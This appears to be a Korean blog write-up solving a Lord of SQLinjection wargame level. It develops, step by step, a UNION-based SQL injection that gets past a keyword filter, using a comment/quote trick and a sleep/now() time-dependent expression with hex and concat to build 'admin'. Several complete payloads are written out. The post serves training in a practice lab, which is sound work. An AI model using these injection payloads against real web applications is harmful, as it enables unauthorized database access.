## 조건 ##

1) query 2개 존재 → 1개의 요청으로 2개의 쿼리 동작시키기
2) 필터링 대상 : admin and or if coalesce case _ prob time 

입력값 no에 대한 특이한 조건사항이 있다

1) query1 admin이어야 한다.
2) query1 admin이 아니어야 한다.
3) query2 admin이 아니어야 한다.
4) query2 admin이어야 한다. 

조건 1에 맞추기 위해서 위 조건사항을 조금 바꿔서 살펴보면 아래와 같다.

admin → admin X → admin X → admin 

 

어려워서 다른 풀이를 조금 참고해서 보니.. 시간차 공격을 해야 하는 것 같다. 그래서 time을 필터링하기에 시간지연 함수가 필요하다.  → sleep()과 같은..

 

일단, 1번의 요청으로 전혀 다른 결과를 보이도록 쿼리를 짜야 한다.

차근차근시도해야 한다.일단 query1은 싱글쿼터로 감싸지 않고 query2는 싱글쿼터가 존재한다. 이 점을 이용하자

?no=1 union select 1#' union select '1

위와 같은 payload를 입력한다면
첫번째 쿼리에서는 # 이하는 모두 주석처리가 되고..
두번째 쿼리에서는 ' 1 union select 1# ' 사이를 모두 묶게 되고 그 뒤에 있는 union select '1'이 실행된다.

그렇다면 1이 있는 자리에 admin이 시간차로 들어오도록 하면 된다.

?no=1 union select admin#' union select 'admin

하지만 if, case when 과 같은 조건문과 함께 시간지연함수를 쓸 수 없다ㅠㅠ
그래서 조건문 없이 시간차 공격을 할 수 있는 구문이 바로 !sleep(1)&&now%2=1 이다

1. sleep(?)함수는 어쨌든 결과가 항상 0 반환
2. now%2=1 은 현재시간에 따라 0 또는 1 반환

하지만 sleep()함수를 그대로 사용하면 0 and 0과 1이 되는데, 0과 and연산은 무조건 결과값이 0 이 나온다.

그래서 앞에 !sleep() 로 표현하여 시간차에 따라 0 또는 1을 반환하도록 한다. 

아래는 실제 테스트 결과이다.

 

시간차에 따라 0과 1를 바꿔주며 admin을 표현해야 하는데.. 이때 16진수로 표현해서 쿼리를 작성한다.

admin  => (16진수) 0x61646d696e
           => (10진수) 97,100,109,105,110

정답을 찾아보니 hex()함수와 시간차 공격을 이용하여 문제를 풀었다는 점에 대한 이해가 필요하다. 


hex() 함수 : 정수에 해당하는 16진수 문자열 리턴

hex는 16진수 (0~9ABCDEF)까지로만 표현이 가능하므로, A를 lower()함수를 이용하여 소문자로 변환해서 사용해야 한다.

lower(hex(10)) : A → a      lower(hex(11)) : B → b 

lower(hex(10+( !sleep(1)&&now()%2=1) ))  시간차에 의해 반환값이 10+0 또는 10+1 , 시간에 따라 a 또는 b를 출력함

 

그 후, concat()함수를 이용하여 'admin'을 생성한다. 

concat(lower(hex(10+( !sleep(1)&&now()%2=1) )), 0x646d696e)

시간에 따라 admin이 될 수도 있고, bdmin이 될 수도 있다. 

첫번째 쿼리에 bdmin, 두번째 쿼리에 admin이 들어가도록 하면 된다.

 

처음 작성했던 ?no=1 union select 1#' union select '1 쿼리에 위에서 만든 조건문을 넣어보자

?no=1 union select concat(lower(hex(10+( !sleep(1)&&now()%2=1) )), 0x646d696e)#' union select concat(lower(hex(10+( !sleep(1)&&now()%2=1) )), 0x646d696e)#

 

이렇게 작성하면 결론적으로 실제 쿼리에 들어가는 값은,  admin -> bdmin -> admin -> bdmin  이다.

우리가 맞춰야 하는 조건은 admin → admin X → admin X → admin  인데.. 이렇게 되면 조건이 맞지 않게 된다.hex(10) → hex(11) → hex(10) → hex(11) .. 이렇게 들어가는 것을 다음과 같이 바꿔야 한다.

hex(10) → hex(11) → hex(9) → hex(10) .. 또는  hex(10) → hex(11) → hex(11) → hex(10) .. 

그래서 페이로드는 다음과 같이 나올 수 있다.

?no=1 union select concat(lower(hex(10+( !sleep(1)&&now()%2=1) )), 0x646d696e)#' union select concat(lower(hex(9+( !sleep(1)&&now()%2=1) )), 0x646d696e)#

또는

?no=1 union select concat(lower(hex(10+( !sleep(1)&&now()%2=1) )), 0x646d696e)#' union select concat(lower(hex(11-( !sleep(1)&&now()%2=1) )), 0x646d696e)#

 시간에 따라  admin → admin X → admin X → admin 이 가능하다.

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step34. godzilla 풀이  (0) 2023.10.17
[LOS] step33. cthulhu풀이  (0) 2023.08.31
[LOS] step31. ZOMBIE 풀이  (0) 2023.07.11
[LOS] step30. ouroboros 풀이  (0) 2023.07.05
[LOS] step28. FRANKENSTEIN 풀이  (0) 2023.07.03

+ Recent posts